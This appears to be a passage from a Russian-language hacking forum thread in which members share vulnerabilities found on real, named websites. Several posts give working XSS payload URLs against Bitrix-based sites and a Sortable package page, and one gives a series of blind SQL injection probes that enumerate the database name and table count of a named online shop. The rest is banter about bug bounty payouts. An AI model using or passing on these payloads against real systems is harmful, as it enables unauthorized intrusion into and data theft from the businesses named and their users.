Уязвимости SQLi, XSS и другие.

Discussion in 'Песочница' started by Егорыч+++, 10 May 2015.

  1. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    683
    Likes Received:
    1,513
    Reputations:
    460
    Code:
    https://honda.ru/bitrix/components/bitrix/photogallery_user/templates/.default/galleries_recalc.php?AJAX=Y&arParams[PERMISSION]=W&arParams[IBLOCK_ID]=1%00%27}};alert(document.domain);if(1){//
    https://dixy.ru/bitrix/components/bitrix/photogallery_user/templates/.default/galleries_recalc.php?AJAX=Y&arParams[PERMISSION]=W&arParams[IBLOCK_ID]=1%00%27}};alert(document.domain);if(1){//
    
     
  2. erwerr2321

    erwerr2321 Elder - Старейшина

    Joined:
    19 Jun 2015
    Messages:
    4,236
    Likes Received:
    26,250
    Reputations:
    148
    Это по сути песочница. Один пейлоад стрелял сразу в нескольких местах:
    на ифраме-толока.ком и на sandbox.ифраме-толока.ком. Но там тоже ни кук, ни импэкта))
    Но было ещё и третье место, откуда он постреливал. :)
    И вот только вчера прилетело письмецо в конверте.

    yabbletter.png
     
  3. Octavian

    Octavian Elder - Старейшина

    Joined:
    8 Jul 2015
    Messages:
    506
    Likes Received:
    101
    Reputations:
    25
    А моя доля? На шаверму
     
  4. erwerr2321

    erwerr2321 Elder - Старейшина

    Joined:
    19 Jun 2015
    Messages:
    4,236
    Likes Received:
    26,250
    Reputations:
    148
    Шта? :eek:
    Я её намного раньше тебя запостил! я ж писал тебе tracking ID и time 1619951822533
    Ни гани!
     
    #344 erwerr2321, 24 Oct 2021
    Last edited: 24 Oct 2021
    Octavian likes this.
  5. eminlayer7788

    eminlayer7788 Member

    Joined:
    31 Jul 2015
    Messages:
    202
    Likes Received:
    78
    Reputations:
    8
  6. eminlayer7788

    eminlayer7788 Member

    Joined:
    31 Jul 2015
    Messages:
    202
    Likes Received:
    78
    Reputations:
    8
    del
     
    #346 eminlayer7788, 18 Nov 2021
    Last edited: 22 Sep 2022
  7. ZeV$

    ZeV$ Elder - Старейшина

    Joined:
    7 Feb 2006
    Messages:
    40
    Likes Received:
    10
    Reputations:
    3
    digging blind sqli
    *mal.az/Telefon-ve-Plansetler/Telefon-ve-planset-aksesuarlari/?Adapterler-USB&filter=351&price=9.99,50.99' AND (SELECT database() LIKE 'a%') AND '9'='9
    *mal.az/Telefon-ve-Plansetler/Telefon-ve-planset-aksesuarlari/?Adapterler-USB&filter=351&price=9.99,50.99' AND (SELECT database() LIKE 'b%') AND '9'='9
    ...
    *mal.az/Telefon-ve-Plansetler/Telefon-ve-planset-aksesuarlari/?Adapterler-USB&filter=351&price=9.99,50.99' AND (SELECT database() LIKE 'n%') AND '9'='9


    *mal.az/Telefon-ve-Plansetler/Telefon-ve-planset-aksesuarlari/?Adapterler-USB&filter=351&price=9.99,50.99' AND ((SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES) BETWEEN 0 AND 2) AND '9'='9
    *mal.az/Telefon-ve-Plansetler/Telefon-ve-planset-aksesuarlari/?Adapterler-USB&filter=351&price=9.99,50.99' AND ((SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES) BETWEEN 0 AND 333) AND '9'='9
     
  8. Octavian

    Octavian Elder - Старейшина

    Joined:
    8 Jul 2015
    Messages:
    506
    Likes Received:
    101
    Reputations:
    25
  9. eminlayer7788

    eminlayer7788 Member

    Joined:
    31 Jul 2015
    Messages:
    202
    Likes Received:
    78
    Reputations:
    8
  10. eminlayer7788

    eminlayer7788 Member

    Joined:
    31 Jul 2015
    Messages:
    202
    Likes Received:
    78
    Reputations:
    8
  11. Octavian

    Octavian Elder - Старейшина

    Joined:
    8 Jul 2015
    Messages:
    506
    Likes Received:
    101
    Reputations:
    25
    XSS в библиотеке Sortable работает только в IE
    Code:
    https://varaa.com/packages/sortable/??"><img/src/onerror=alert(document.domain)>
     
    joelblack, crlf and Suicide like this.
  12. CyberTro1n

    CyberTro1n Elder - Старейшина

    Joined:
    20 Feb 2016
    Messages:
    1,076
    Likes Received:
    854
    Reputations:
    14

    Attached Files:

    #352 CyberTro1n, 26 Mar 2024
    Last edited: 26 Mar 2024
Loading...
Similar Threads - Уязвимости SQLi
  1. zase
    Replies:
    1
    Views:
    3,564
  2. Shadows_God
    Replies:
    14
    Views:
    8,116